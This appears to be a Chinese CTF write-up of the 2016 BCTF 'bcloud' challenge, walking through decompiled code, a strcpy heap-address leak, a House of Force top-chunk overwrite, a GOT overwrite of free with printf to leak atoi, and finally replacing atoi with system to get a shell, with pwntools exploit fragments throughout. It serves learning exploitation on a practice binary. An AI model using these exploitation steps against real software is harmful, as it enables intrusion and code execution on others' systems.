天天看点

2016BCTF-bcloud分析

这是一道CTF题,涉及到The House of Force技术 文件及writeup可以在 http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html 下载,另外还有 http://www.freebuf.com/news/topnews/100143.html 、 https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200 等相关参考资料。

首先运行一下,看一下大致流程,

[email protected]:~/ctf# ./bcloud
Input your name:
123
Hey 123! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
qwe
Host:
asd
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
ssssssssssssssssss
Input the content:
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
           

然后放到IDA中静态分析一下,为了提高可读性,对一些变量进行了重命名。

2016BCTF-bcloud分析
2016BCTF-bcloud分析

首先分析一下input_name函数的伪代码:

int input_name()
{
  char s; // [sp+1Ch] [bp-5Ch]@1
  int heap_of_name; // [sp+5Ch] [bp-1Ch]@1
  int v3; // [sp+6Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x50u);
  puts("Input your name:");
  read_user_define((int)&s, 64, 10);
  heap_of_name = (int)malloc(0x40u);
  dword_804B0CC = heap_of_name;
  strcpy((char *)heap_of_name, &s);
  print_info(heap_of_name);
  return *MK_FP(__GS__, 20) ^ v3;
}
           

我们输入name时,保存到s处,也就是bp-5c处,大小为0x40,在bp-1c处保存了一个指针,指向堆内存,然后通过strcpy函数将s中的数据复制到heap_of_name指向的内存区域。这里就有问题了 s和heap_of_name正好相距0x40 strcpy结束的标志是遇到null。看一下此时的内存布局:

2016BCTF-bcloud分析
2016BCTF-bcloud分析

如果此时输入的name正好是0x40,namestrcpy时,因为name后边不是null,而是heap_of_name,所以会将heap_of_name一块复制到heap_of_name指向的内存区域,然后调用printf的时候会将堆的地址(heap_of_name)一块打印出来。 利用exp如下: r.send("A" * 0x3c + "ZZZZ")garbage = r.recvuntil("ZZZZ")leak = u32(r.recv(4))garbage = r.recv()log.info("Leak: " + hex(leak))

下边就是输入组织与主机名的函数了:

int input_Org_and_Host()
{
  char Org_buffer; // [sp+1Ch] [bp-9Ch]@1
  char *Ptr_heap_of_Org; // [sp+5Ch] [bp-5Ch]@1
  char Host_buffer; // [sp+60h] [bp-58h]@1
  char *ptr_heap_of_Host; // [sp+A4h] [bp-14h]@1
  int cookie; // [sp+ACh] [bp-Ch]@1

  cookie = *MK_FP(__GS__, 20);
  memset(&Org_buffer, 0, 0x90u);
  puts("Org:");
  read_user_define((int)&Org_buffer, 64, 10);
  puts("Host:");
  read_user_define((int)&Host_buffer, 64, 10);
  ptr_heap_of_Host = (char *)malloc(0x40u);
  Ptr_heap_of_Org = (char *)malloc(0x40u);
  dword_804B0C8 = (int)Ptr_heap_of_Org;
  dword_804B148 = (int)ptr_heap_of_Host;
  strcpy(ptr_heap_of_Host, &Host_buffer);
  strcpy(Ptr_heap_of_Org, &Org_buffer);
  puts("OKay! Enjoy:)");
  return *MK_FP(__GS__, 20) ^ cookie;
}
           

内存布局还是差不多,如下所示:

2016BCTF-bcloud分析
2016BCTF-bcloud分析

问题跟上边差不多 这样我们往org中传入64个字节,往Host中传入\xff\xff\xff\xff,当将org拷入*arg指向的堆时,就会将org+*org+Host一块考入,覆盖了后边的top chunk大小,导致top chunk无限大。 这部分exp如下:

HOST = "B" * 0x40
wilderness = "\xff\xff\xff\xff"
r.send(HOST)
r.sendline(wilderness)
garbage = r.recv()
           

下一步就是将堆分配到.bss段之前,以使再次分配堆时分配到bss上。

[email protected]:~/ctf# readelf -S bcloud | grep bss
  [25] .bss              NOBITS          0804b060 002048 0000ec 00  WA  0   0 32
[email protected]:~/ctf# 
           

可以看到bss段的起始地址是:0x0804b060

int create_note()
{
  int result; // [email protected]
  signed int i; // [sp+18h] [bp-10h]@1
  int len_note; // [sp+1Ch] [bp-Ch]@7

  for ( i = 0; i <= 9 && heap[i]; ++i )
    ;
  if ( i == 10 )
  {
    result = puts("Lack of space. Upgrade your account with just $100 :)");
  }
  else
  {
    puts("Input the length of the note content:");
    len_note = read_to_int();
    heap[i] = (int)malloc(len_note + 4);
    if ( !heap[i] )
      exit(-1);
    length_of_note_content[i] = len_note;
    puts("Input the content:");
    read_user_define(heap[i], len_note, 10);
    printf("Create success, the id is %d\n", i);
    result = i;
    dword_804B0E0[i] = 0;
  }
  return result;
}
           

利用exp如下:

size = (0xffffffff - leak - 224) + bss - 4
log.info("Size: " + hex(size))
size = (0xffffffff ^ size) + 1
r.sendline("-" + str(size))
           

此处bss= length_of_note_content 224指的是创建了三个堆0x48*3加上此处创建堆的堆首及对齐共8字节 加上在bss上创建堆的堆首4字节( 有疑问 需要调试确定)

通过IDA静态分析可以看到length_of_note_content位于地址.bss:0804B0A0处 heap位于地址.bss:0804B120处

这样我们下次创建note时,数据正好写在以length_of_note_content为起始地址的堆地址处。

利用代码如下:

atoi = 0x804b03c
free = 0x804b014
r.sendline('1')
r.sendline('172')
# Plan - step 3: Fill out the lengths[] and notes[] arrays# with pre-defined values of sizes and GOT addresses
payload = p32(4)
payload += p32(4)
payload += p32(4)
payload += p32(0) * 29
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
r.send(payload)
           

内存应该是这样的 : heap[1]=0x0804B120+4保存的是堆的起始地址。

gdb-peda$ x/10x 0x804b120
0x804b120:	0x0804c0e0	0x0804b0a0	0x00000000	0x00000000
0x804b130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b140:	0x00000000	0x00000000
           

然后将用户输入 的content复制到 0x0804b0a0处。

gdb-peda$ x/100x 0x0804b0a0
0x804b0a0:	0x00000004	0x00000004	0x00000004	0x00000000
0x804b0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b100:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b110:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b120:	0x0804b03c	0x0804b014	0x0804b03c	0x00000000
0x804b130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b140:	0x00000000	0x00000000	0x00000000	0x00000000
           

可以看到经过复制后0x804b124处被0x0804b014替换。 0x0804b014就是[email protected]

下一步就是利用edit_note函数将free函数地址改写为printf地址。 printf = 0x80484d0r.sendline('3')r.sendline('1')r.send(p32(printf))garbage = r.recv() 此处改写地址 0x0804b014 这样就将[email protected]替换为 [email protected].

所以当我们调用delete_note时:

int delete_note()
{
  int result; // [email protected]
  int v1; // [sp+18h] [bp-10h]@1
  void *ptr_to_heap; // [sp+1Ch] [bp-Ch]@4

  puts("Input the id:");
  v1 = read_to_int();
  if ( v1 >= 0 && v1 <= 9 )
  {
    ptr_to_heap = (void *)heap[v1];
    if ( ptr_to_heap )
    {
      heap[v1] = 0;
      length_of_note_content[v1] = 0;
      free(ptr_to_heap);
      result = puts("Delete success.");
    }
    else
    {
      result = puts("Note has been deleted.");
    }
  }
  else
  {
    result = puts("Invalid ID.");
  }
  return result;
}
           

其中调用了free函数,也就调用了我们替换的printf函数。正好将ptr_to_heap打印出来,这个地方ptr_to_heap正好是我们布置的atoi函数的地址。

r.sendline('4')
r.sendline('0')
garbage = r.recvuntil("Input the id:\n")
garbage = r.recvuntil("Input the id:\n", timeout=1)
atoi = u32(r.recv(4))
log.info("Atoi: " + hex(atoi))
garbage = r.recv()
           

既然已经知道了函数atoi的地址,通过偏移就可以计算出system函数的地址了。

然后我们编辑id=2的note,因为id=2已经被我们布置为atoi的地址,我们发送system的地址,将atoi地址替换为为函数system地址,然后在发送/bin/sh,就获得了一个shell。

完整shell请见附表链接。

参考资料: http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html   http://www.freebuf.com/news/topnews/100143.html https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200